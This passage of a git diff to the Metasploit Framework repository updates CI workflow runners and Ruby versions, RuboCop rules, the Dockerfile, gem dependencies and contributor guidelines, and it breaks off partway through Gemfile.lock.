diff --git a/.github/workflows/command_shell_acceptance.yml b/.github/workflows/command_shell_acceptance.yml index 269aec50a2612..6152d3dddf8fd 100644 --- a/.github/workflows/command_shell_acceptance.yml +++ b/.github/workflows/command_shell_acceptance.yml @@ -63,21 +63,23 @@ jobs: fail-fast: false matrix: os: - - windows-2019 - - ubuntu-20.04 + - windows-2022 + - ubuntu-latest ruby: - - '3.2' + - '3.4' include: # Powershell - - { command_shell: { name: powershell }, os: windows-2019 } - - { command_shell: { name: powershell }, os: windows-2022 } + - { command_shell: { name: powershell }, ruby: '3.4', os: windows-2022 } + - { command_shell: { name: powershell }, ruby: '3.4', os: windows-2025 } # Linux - - { command_shell: { name: linux }, os: ubuntu-20.04 } + - { command_shell: { name: linux }, ruby: '3.4', os: ubuntu-latest } # CMD - - { command_shell: { name: cmd }, os: windows-2019 } - - { command_shell: { name: cmd }, os: windows-2022 } + - { command_shell: { name: cmd }, ruby: '3.4', os: windows-2022 } + + # TODO: Tests currently fail: + # - { command_shell: { name: cmd }, ruby: '3.4', os: windows-2025 } runs-on: ${{ matrix.os }} @@ -126,10 +128,16 @@ jobs: with: path: metasploit-framework - - name: Setup Ruby - env: - BUNDLE_FORCE_RUBY_PLATFORM: true - uses: ruby/setup-ruby@v1 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + + - name: Setup '${{ matrix.ruby }}' Ruby + # Skip for now to ensure CI passes on Windows server 2025 powershell tests + #env: + # BUNDLE_FORCE_RUBY_PLATFORM: true + uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c with: ruby-version: ${{ matrix.ruby }} bundler-cache: true @@ -175,13 +183,19 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: BUNDLE_FORCE_RUBY_PLATFORM: true uses: ruby/setup-ruby@v1 with: - ruby-version: '${{ matrix.ruby }}' + # use the default version from the .ruby-version file + ruby-version: '.ruby-version' bundler-cache: true cache-version: 4 diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 76abbeaef2152..963964edfdfc5 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -45,6 +45,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby uses: ruby/setup-ruby@v1 with: diff --git a/.github/workflows/ldap_acceptance.yml b/.github/workflows/ldap_acceptance.yml index 9651487fc2ad3..a60944c6a6905 100644 --- a/.github/workflows/ldap_acceptance.yml +++ b/.github/workflows/ldap_acceptance.yml @@ -33,6 +33,8 @@ on: - 'metsploit-framework.gemspec' - 'Gemfile.lock' - '**/**ldap**' + - 'lib/metasploit/framework/tcp/**' + - 'lib/metasploit/framework/login_scanner/**' - 'spec/acceptance/**' - 'spec/support/acceptance/**' - 'spec/acceptance_spec_helper.rb' @@ -72,6 +74,11 @@ jobs: docker compose build docker compose up --wait -d + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -121,6 +128,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/mssql_acceptance.yml b/.github/workflows/mssql_acceptance.yml index f6542d56201f2..c2e948f8dbef3 100644 --- a/.github/workflows/mssql_acceptance.yml +++ b/.github/workflows/mssql_acceptance.yml @@ -82,6 +82,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -138,6 +143,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/mysql_acceptance.yml b/.github/workflows/mysql_acceptance.yml index 9bd2c9efecf9a..1101dc9a418fc 100644 --- a/.github/workflows/mysql_acceptance.yml +++ b/.github/workflows/mysql_acceptance.yml @@ -80,6 +80,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -137,6 +142,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/postgres_acceptance.yml b/.github/workflows/postgres_acceptance.yml index 0de893c76843f..d93f5d3f04490 100644 --- a/.github/workflows/postgres_acceptance.yml +++ b/.github/workflows/postgres_acceptance.yml @@ -33,6 +33,8 @@ on: - 'metsploit-framework.gemspec' - 'Gemfile.lock' - '**/**postgres**' + - 'lib/metasploit/framework/tcp/**' + - 'lib/metasploit/framework/login_scanner/**' - 'spec/acceptance/**' - 'spec/support/acceptance/**' - 'spec/acceptance_spec_helper.rb' @@ -82,6 +84,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -139,6 +146,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/shared_gem_verify.yml b/.github/workflows/shared_gem_verify.yml new file mode 100644 index 0000000000000..5ef5430453365 --- /dev/null +++ b/.github/workflows/shared_gem_verify.yml @@ -0,0 +1,69 @@ +name: Shared Gem Verify +on: + workflow_call: + inputs: + test_commands: + description: 'Test commands' + required: false + default: "bundle exec rspec" + type: string + dependencies: + description: 'Array of system dependencies to install' + required: false + default: "[]" + type: string + +jobs: + test: + runs-on: ${{ matrix.os }} + timeout-minutes: 40 + + strategy: + fail-fast: false + matrix: + ruby: + - '3.2' + - '3.3' + - '3.4' + os: + - ubuntu-22.04 + - ubuntu-24.04 + - ubuntu-latest + - windows-2022 + - windows-2025 + - macos-13 + + env: + RAILS_ENV: test + + name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} + steps: + - name: Install system dependencies + if: ${{ inputs.dependencies != '[]' && !contains(matrix.os, 'macos') && !contains(matrix.os, 'windows') }} + run: | + dependencies=$(echo '${{ inputs.dependencies }}' | jq -r '.[]') + for dep in $dependencies; do + sudo apt-get -y --no-install-recommends install "$dep" + done + shell: bash + + - name: Install system dependencies (Windows) + if: ${{ contains(matrix.os, 'windows') && inputs.dependencies != '[]' }} + run: | + $dependencies = (echo '${{ inputs.dependencies }}' | jq -r '.[]') + foreach ($dep in $dependencies) { + choco install $dep -y + } + shell: pwsh + + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Ruby + uses: ruby/setup-ruby@v1 + with: + ruby-version: ${{ matrix.ruby }} + bundler-cache: true + + - name: Test + run: ${{ inputs.test_commands }} diff --git a/.github/workflows/shared_gem_verify_rails.yml b/.github/workflows/shared_gem_verify_rails.yml new file mode 100644 index 0000000000000..73ee576cf0c42 --- /dev/null +++ b/.github/workflows/shared_gem_verify_rails.yml @@ -0,0 +1,90 @@ +name: Shared Gem Verify Rails/PostgreSQL +on: + workflow_call: + inputs: + test_commands: + description: 'Test commands' + required: false + default: "bundle exec rspec" + type: string + dependencies: + description: 'Array of system dependencies to install' + required: false + default: "[]" + type: string + +jobs: + test: + runs-on: ${{ matrix.os }} + timeout-minutes: 40 + + strategy: + fail-fast: false + matrix: + ruby: + - '3.2' + - '3.3' + - '3.4' + rails: + - '~> 7.0.0' + - '~> 7.1.0' + - '~> 7.2.0' + postgres: + - '9.6' + - '16.8' + os: + - ubuntu-latest + + env: + RAILS_ENV: test + + name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - Rails ${{ matrix.rails }} - PostgreSQL ${{ matrix.postgres }} + steps: + - name: Install system dependencies + run: | + dependencies=$(echo '${{ inputs.dependencies }}' | jq -r '.[]') + for dep in $dependencies; do + sudo apt-get -y --no-install-recommends install "$dep" + done + shell: bash + + - name: Set up PostgreSQL service + run: | + docker run --name postgres -d -p 5432:5432 \ + -e POSTGRES_USER=postgres \ + -e POSTGRES_PASSWORD=postgres \ + --health-cmd="pg_isready" \ + --health-interval="10s" \ + --health-timeout="5s" \ + --health-retries=5 \ + postgres:${{ matrix.postgres }} + + - name: Wait for PostgreSQL to be healthy + run: | + docker exec postgres sh -c 'until pg_isready -U postgres; do echo waiting for postgres; sleep 2; done; echo postgres is ready' + + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Ruby + uses: ruby/setup-ruby@v1 + with: + ruby-version: ${{ matrix.ruby }} + bundler-cache: true + + - name: Update Rails version + run: | + # Add the gem explicitly if it doesn't exist + if ! grep -q "gem ['\"]rails['\"]" Gemfile; then + echo 'gem "rails"' >> Gemfile + fi + + # Ensure the gem is on the latest version + ruby -pi -e "gsub(/gem ['\"]rails['\"](, *['\"].*['\"])?/, \"gem 'rails', '${{ matrix.rails }}'\")" Gemfile + bundle update + bundle install + bundle show rails + shell: bash + + - name: Test + run: ${{ inputs.test_commands }} diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index f79b650064736..a5f8af6f5306e 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -68,13 +68,13 @@ jobs: matrix: os: - macos-13 - - windows-2019 - - ubuntu-20.04 + - windows-2022 + - ubuntu-latest ruby: - - '3.2' + - '3.4' meterpreter: # Python - - { name: python, runtime_version: 3.6 } + - { name: python, runtime_version: 3.8 } - { name: python, runtime_version: 3.11 } # Java @@ -87,12 +87,13 @@ jobs: - { name: php, runtime_version: 8.3 } include: # Windows Meterpreter - - { meterpreter: { name: windows_meterpreter }, os: windows-2019 } - - { meterpreter: { name: windows_meterpreter }, os: windows-2022 } + - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2022 } + # TODO: Screenshotting behavior fails: + # - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2025 } # Mettle - { meterpreter: { name: mettle }, os: macos-13 } - - { meterpreter: { name: mettle }, os: ubuntu-20.04 } + - { meterpreter: { name: mettle }, os: ubuntu-latest } runs-on: ${{ matrix.os }} @@ -190,12 +191,18 @@ jobs: path: metasploit-framework ref: ${{ inputs.metasploit_framework_commit }} + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: BUNDLE_FORCE_RUBY_PLATFORM: true # Required for macos13 pg gem compilation PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig" - uses: ruby/setup-ruby@v1 + # Pinned to avoid Windows compilation failure with nokogiri + uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c with: ruby-version: ${{ matrix.ruby }} bundler-cache: true @@ -269,6 +276,15 @@ jobs: make.bat working-directory: metasploit-payloads + - name: Build Windows payloads via Visual Studio 2025 Build (Windows) + shell: cmd + if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2025' && inputs.build_metasploit_payloads }} + run: | + cd c/meterpreter + git submodule init && git submodule update + make.bat + working-directory: metasploit-payloads + - name: Get metasploit-payloads version if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} shell: bash @@ -344,11 +360,16 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: BUNDLE_FORCE_RUBY_PLATFORM: true - uses: ruby/setup-ruby@v1 + uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c with: ruby-version: '3.3' bundler-cache: true diff --git a/.github/workflows/shared_smb_acceptance.yml b/.github/workflows/shared_smb_acceptance.yml index cf8c127093fef..7639a93b73425 100644 --- a/.github/workflows/shared_smb_acceptance.yml +++ b/.github/workflows/shared_smb_acceptance.yml @@ -74,6 +74,11 @@ jobs: docker compose build docker compose up --wait -d + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -143,6 +148,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index 87ce8e7b305ab..33c4438b00717 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -64,7 +64,6 @@ jobs: - '3.3' - '3.4' os: - - ubuntu-20.04 - ubuntu-latest include: - os: ubuntu-latest @@ -89,6 +88,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM diff --git a/.rubocop.yml b/.rubocop.yml index ca58a6fce339d..bb9824ecd1040 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -23,12 +23,10 @@ require: - ./lib/rubocop/cop/lint/deprecated_gem_version.rb - ./lib/rubocop/cop/lint/module_enforce_notes.rb - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb + - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb Layout/SpaceBeforeBrackets: - Description: >- - Disabled as it generates invalid code: - https://github.com/rubocop-hq/rubocop/issues/9499 - Enabled: false + Enabled: true Lint/AmbiguousAssignment: Enabled: true @@ -116,6 +114,12 @@ Style/DocumentDynamicEvalDefinition: Style/EndlessMethod: Enabled: true +Style/FormatStringToken: + Enabled: true + Exclude: + # We aren't ready to enable this for modules yet + - 'modules/**/*' + Style/HashExcept: Enabled: true @@ -155,9 +159,26 @@ Style/RedundantAssignment: and return expression Enabled: false +Style/RedundantParentheses: + Description: >- + Disabled as it sometimes improves the readability of code + Enabled: false + +Style/RedundantRegexpArgument: + Enabled: true + Exclude: + # We aren't ready to enable this for modules yet + - 'modules/**/*' + Style/SwapValues: Enabled: false +Layout/LineContinuationLeadingSpace: + Description: >- + Disabled as it sometimes improves the readability of code having leading spaces + for indented code strings. + Enabled: false + Layout/ModuleHashOnNewLine: Enabled: true @@ -652,3 +673,6 @@ Style/UnpackFirst: Disabling to make it easier to copy/paste `unpack('h*')` expressions from code into a debugging REPL. Enabled: false + +Lint/DetectMetadataTrailingLeadingWhitespace: + Enabled: true diff --git a/.ruby-version b/.ruby-version index 5ae69bd5f0e84..37d02a6e3801e 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -3.2.5 +3.3.8 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 09ee6faa51633..77efd0f534e5b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -22,6 +22,8 @@ Once you have finished your new module and tested it locally to ensure it's work Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution will be closed. We need to ensure the code we're adding to master is written to a high standard. +## Expedited Module Creation Process +We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated. ### Code Contribution Do's & Don'ts: @@ -40,13 +42,18 @@ Keeping the following in mind gives your contribution the best chance of landing * **Do** target your pull request to the **master branch**. * **Do** specify a descriptive title to make searching for your pull request easier. * **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`. -* **Do** list [verification steps] so your code is testable. +* **Do** test your code. +* **Do** list [verification steps] so committers can test your code. * **Do** [reference associated issues] in your pull request description. * **Don't** leave your pull request description blank. +* **Don't** include sensitive information in your PR (including externally-routable IP addresses in documentation). +* **Don't** PR untested/unvalidated code you copy/pasted from the internet. +* **Don't** PR untested/unvalidated code you copy/pasted from AI or LLM. * **Don't** abandon your pull request. Being responsive helps us land your code faster. * **Don't** post questions in older closed PRs. #### New Modules +* **Do** check the issue tracker to see if there is a `suggestion-module` issue for the module you want to write, and assign yourself to it if there is. * **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT. * **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues. * **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook]. diff --git a/COPYING b/COPYING index a2a0197ece27b..ed16b933a43c1 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2020, Rapid7, Inc. +Copyright (C) 2006-2025, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Dockerfile b/Dockerfile index 1870ea5c24050..5e36e4dbdd2e0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,7 +1,7 @@ -FROM ruby:3.2.5-alpine3.20 AS builder +FROM ruby:3.3.8-alpine3.21 AS builder LABEL maintainer="Rapid7" -ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'" +ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'" ARG BUNDLER_FORCE_CLEAN="true" ENV APP_HOME=/usr/src/metasploit-framework ENV TOOLS_HOME=/usr/src/tools @@ -24,6 +24,7 @@ RUN apk add --no-cache \ readline-dev \ sqlite-dev \ postgresql-dev \ + libffi-dev \ libpcap-dev \ libxml2-dev \ libxslt-dev \ @@ -47,13 +48,13 @@ RUN apk add --no-cache \ ENV GO111MODULE=off RUN mkdir -p $TOOLS_HOME/bin && \ cd $TOOLS_HOME/bin && \ - curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \ - tar -zxf go1.21.1.src.tar.gz && \ - rm go1.21.1.src.tar.gz && \ + curl -O https://dl.google.com/go/go1.24.0.src.tar.gz && \ + tar -zxf go1.24.0.src.tar.gz && \ + rm go1.24.0.src.tar.gz && \ cd go/src && \ ./make.bash -FROM ruby:3.2.5-alpine3.20 +FROM ruby:3.3.8-alpine3.21 LABEL maintainer="Rapid7" ARG TARGETARCH diff --git a/Gemfile b/Gemfile index 83b7b2811fbd5..f25d0d903ba14 100644 --- a/Gemfile +++ b/Gemfile @@ -24,27 +24,29 @@ group :development do # memory profiling gem 'memory_profiler' # cpu profiling - gem 'ruby-prof', '1.4.2' + gem 'ruby-prof' # Metasploit::Aggregator external session proxy # disabled during 2.5 transition until aggregator is available # gem 'metasploit-aggregator' end group :development, :test do + # For ./tools/dev/update_gem_licenses.sh + gem 'license_finder', '5.11.1' # running documentation generation tasks and rspec tasks gem 'rake' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' + gem 'rspec-rails', '>= 8.0.0' gem 'rspec-rerun' # Required during CI as well local development - gem 'rubocop' + gem 'rubocop', '1.75.7' end group :test do # automatically include factories from spec/factories gem 'test-prof' - gem 'factory_bot_rails' + gem 'factory_bot_rails', '>= 6.5.0' # Make rspec output shorter and more useful gem 'fivemat' # rspec formatter for acceptance tests diff --git a/Gemfile.lock b/Gemfile.lock index 1c6294012f10a..9c74437dbb3a9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,12 +1,12 @@ PATH remote: . specs: - metasploit-framework (6.4.52) + metasploit-framework (6.4.76) aarch64 abbrev - actionpack (~> 7.0.0) - activerecord (~> 7.0.0) - activesupport (~> 7.0.0) + actionpack (~> 7.1.0) + activerecord (~> 7.1.0) + activesupport (~> 7.1.0) aws-sdk-ec2 aws-sdk-ec2instanceconnect aws-sdk-iam @@ -38,16 +38,17 @@ PATH getoptlong hrr_rb_ssh-ed25519 http-cookie - irb (~> 1.7.4) + irb jsobfu json + lru_redux metasm metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.189) - metasploit_data_models - metasploit_payloads-mettle (= 1.0.35) + metasploit-payloads (= 2.0.221) + metasploit_data_models (>= 6.0.7) + metasploit_payloads-mettle (= 1.0.42) mqtt msgpack (~> 1.6.0) mutex_m @@ -71,7 +72,7 @@ PATH pg puma railties - rasn1 (= 0.13.0) + rasn1 (= 0.14.0) rb-readline recog redcarpet @@ -94,15 +95,18 @@ PATH rex-struct2 rex-text rex-zip + rinda ruby-macho ruby-mysql - ruby_smb (~> 3.3.3) + ruby_smb (~> 3.3.15) rubyntlm rubyzip sinatra sqlite3 (= 1.7.3) sshkey + stringio (= 3.1.1) swagger-blocks + syslog thin tzinfo tzinfo-data @@ -118,103 +122,118 @@ PATH GEM remote: https://rubygems.org/ specs: - Ascii85 (1.1.1) + Ascii85 (2.0.1) aarch64 (2.1.0) racc (~> 1.6) abbrev (0.1.2) - actionpack (7.0.8.6) - actionview (= 7.0.8.6) - activesupport (= 7.0.8.6) - rack (~> 2.0, >= 2.2.4) + actionpack (7.1.5.1) + actionview (= 7.1.5.1) + activesupport (= 7.1.5.1) + nokogiri (>= 1.8.5) + racc + rack (>= 2.2.4) + rack-session (>= 1.0.1) rack-test (>= 0.6.3) - rails-dom-testing (~> 2.0) - rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (7.0.8.6) - activesupport (= 7.0.8.6) + rails-dom-testing (~> 2.2) + rails-html-sanitizer (~> 1.6) + actionview (7.1.5.1) + activesupport (= 7.1.5.1) builder (~> 3.1) - erubi (~> 1.4) - rails-dom-testing (~> 2.0) - rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (7.0.8.6) - activesupport (= 7.0.8.6) - activerecord (7.0.8.6) - activemodel (= 7.0.8.6) - activesupport (= 7.0.8.6) - activesupport (7.0.8.6) + erubi (~> 1.11) + rails-dom-testing (~> 2.2) + rails-html-sanitizer (~> 1.6) + activemodel (7.1.5.1) + activesupport (= 7.1.5.1) + activerecord (7.1.5.1) + activemodel (= 7.1.5.1) + activesupport (= 7.1.5.1) + timeout (>= 0.4.0) + activesupport (7.1.5.1) + base64 + benchmark (>= 0.3) + bigdecimal concurrent-ruby (~> 1.0, >= 1.0.2) + connection_pool (>= 2.2.5) + drb i18n (>= 1.6, < 2) + logger (>= 1.4.2) minitest (>= 5.1) + mutex_m + securerandom (>= 0.3) tzinfo (~> 2.0) addressable (2.8.7) public_suffix (>= 2.0.2, < 7.0) afm (0.2.2) - allure-rspec (2.24.5) - allure-ruby-commons (= 2.24.5) + allure-rspec (2.26.0) + allure-ruby-commons (= 2.26.0) rspec-core (>= 3.8, < 4) - allure-ruby-commons (2.24.5) + allure-ruby-commons (2.26.0) mime-types (>= 3.3, < 4) require_all (>= 2, < 4) rspec-expectations (~> 3.12) - uuid (>= 2.3, < 3) - arel-helpers (2.15.0) - activerecord (>= 3.1.0, < 8) - ast (2.4.2) - aws-eventstream (1.3.0) - aws-partitions (1.999.0) - aws-sdk-core (3.211.0) + arel-helpers (2.16.0) + activerecord (>= 3.1.0, < 8.1) + ast (2.4.3) + aws-eventstream (1.3.2) + aws-partitions (1.1065.0) + aws-sdk-core (3.220.1) aws-eventstream (~> 1, >= 1.3.0) aws-partitions (~> 1, >= 1.992.0) aws-sigv4 (~> 1.9) + base64 jmespath (~> 1, >= 1.6.1) - aws-sdk-ec2 (1.486.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ec2 (1.511.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-ec2instanceconnect (1.52.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ec2instanceconnect (1.55.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-iam (1.112.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-iam (1.119.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-kms (1.95.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-kms (1.99.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-s3 (1.169.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-s3 (1.182.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.5) - aws-sdk-ssm (1.183.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ssm (1.191.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sigv4 (1.10.1) + aws-sigv4 (1.11.0) aws-eventstream (~> 1, >= 1.0.2) base64 (0.2.0) bcrypt (3.1.20) bcrypt_pbkdf (1.1.1) - benchmark (0.4.0) - bigdecimal (3.1.8) + benchmark (0.4.1) + bigdecimal (3.2.2) bindata (2.4.15) bootsnap (1.18.4) msgpack (~> 1.2) - bson (5.0.1) + bson (5.0.2) builder (3.3.0) byebug (11.1.3) chunky_png (1.4.0) coderay (1.1.3) concurrent-ruby (1.3.4) + connection_pool (2.5.3) cookiejar (0.3.4) crass (1.0.6) - csv (3.3.0) + csv (3.3.2) daemons (1.4.1) date (3.4.1) debug (1.8.0) irb (>= 1.5.0) reline (>= 0.3.1) - diff-lcs (1.5.1) - dnsruby (1.72.2) + diff-lcs (1.6.0) + dnsruby (1.72.4) + base64 (~> 0.2.0) + logger (~> 1.6.5) simpleidn (~> 0.2.1) docile (1.4.1) domain_name (0.6.20240107) - drb (2.2.1) + drb (2.2.3) ed25519 (1.3.0) elftools (1.3.1) bindata (~> 2) @@ -227,10 +246,11 @@ GEM em-socksify (0.3.3) base64 eventmachine (>= 1.0.0.beta.4) - erubi (1.13.0) + erb (5.0.2) + erubi (1.13.1) eventmachine (1.2.7) - factory_bot (6.5.0) - activesupport (>= 5.0.0) + factory_bot (6.5.1) + activesupport (>= 6.1.0) factory_bot_rails (6.4.4) factory_bot (~> 6.5) railties (>= 5.0.0) @@ -250,6 +270,7 @@ GEM fiddle (1.1.6) filesize (0.2.0) fivemat (1.3.7) + forwardable (1.3.3) getoptlong (0.2.1) gssapi (1.3.1) ffi (>= 1.0.1) @@ -261,78 +282,101 @@ GEM hrr_rb_ssh-ed25519 (0.4.2) ed25519 (~> 1.2) hrr_rb_ssh (>= 0.4) - http-cookie (1.0.7) + http-cookie (1.0.8) domain_name (~> 0.5) http_parser.rb (0.8.0) - httpclient (2.8.3) - i18n (1.14.6) + httpclient (2.9.0) + mutex_m + i18n (1.14.7) concurrent-ruby (~> 1.0) - io-console (0.7.2) - irb (1.7.4) - reline (>= 0.3.6) + io-console (0.8.1) + ipaddr (1.2.7) + irb (1.15.2) + pp (>= 0.6.0) + rdoc (>= 4.0.0) + reline (>= 0.4.2) jmespath (1.6.2) jsobfu (0.4.2) rkelly-remix - json (2.7.5) - language_server-protocol (3.17.0.3) + json (2.10.2) + language_server-protocol (3.17.0.5) + license_finder (5.11.1) + bundler + rubyzip (>= 1, < 3) + thor + toml (= 0.2.0) + with_env (= 1.1.0) + xml-simple + lint_roller (1.1.0) little-plugger (1.1.4) - logger (1.6.1) + logger (1.6.6) logging (2.4.0) little-plugger (~> 1.1) multi_json (~> 1.14) - loofah (2.23.1) + loofah (2.24.1) crass (~> 1.0.2) nokogiri (>= 1.12.0) - macaddr (1.7.2) - systemu (~> 2.6.5) + lru_redux (1.1.0) 